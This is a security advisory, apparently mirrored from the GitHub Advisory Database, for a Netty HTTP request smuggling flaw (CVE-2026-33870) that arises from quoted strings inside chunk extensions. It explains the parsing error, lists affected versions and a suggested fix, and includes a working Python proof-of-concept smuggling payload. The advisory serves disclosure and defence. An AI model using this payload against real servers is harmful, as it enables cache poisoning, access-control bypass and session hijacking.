High

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

  • Disclosed: 26.03.2026
  • Updated: 11.10.2026 13:20

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

python
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) io.netty:netty-codec-http < 4.1.132.Final, >= 4.2.0.Alpha1, < 4.2.10.Final 4.1.132.Final, 4.2.10.Final

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Weakness (CWE)
CWE-444
Platform
Java / Kotlin (Maven)
Package
io.netty:netty-codec-http
Disclosed
26.03.2026
Updated
11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-pwqr-wmgm-9rr8 - CC BY 4.0

Vulnerability history: io.netty:netty-codec-http

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (24) in the archive
Total entries
24
First → latest
02.2020 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 6
  • Medium 16
  • Low 1

Disclosures per year

  1. 2020: 1
  2. 2021: 2
  3. 2022: 2
  4. 2023: 0
  5. 2024: 1
  6. 2025: 2
  7. 2026: 16
Severity:
  1. High CVE-2026-56745 >= 4.2.0.Final, < 4.2.16.Final, >= 4.1.0.Final, < 4.1.136.Final 4.2.16.Final, 4.1.136.Final
  2. High · 7.5 CVE-2026-55833 >= 4.2.0.Final, < 4.2.16.Final, >= 4.1.0.Final, < 4.1.136.Final 4.2.16.Final, 4.1.136.Final
  3. High · 7.5 CVE-2026-55831 >= 4.2.0.Final, < 4.2.16.Final, >= 4.1.0.Final, < 4.1.136.Final 4.2.16.Final, 4.1.136.Final
  4. High · 7.5 CVE-2026-42587 >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final 4.2.13.Final, 4.1.133.Final
  5. High · 7.3 CVE-2026-42584 >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final 4.2.13.Final, 4.1.133.Final
  6. Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing this entry
    High · 7.5 CVE-2026-33870 < 4.1.132.Final, >= 4.2.0.Alpha1, < 4.2.10.Final 4.1.132.Final, 4.2.10.Final
  7. Critical · 9.1 CVE-2019-20444 < 4.1.44 4.1.44

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.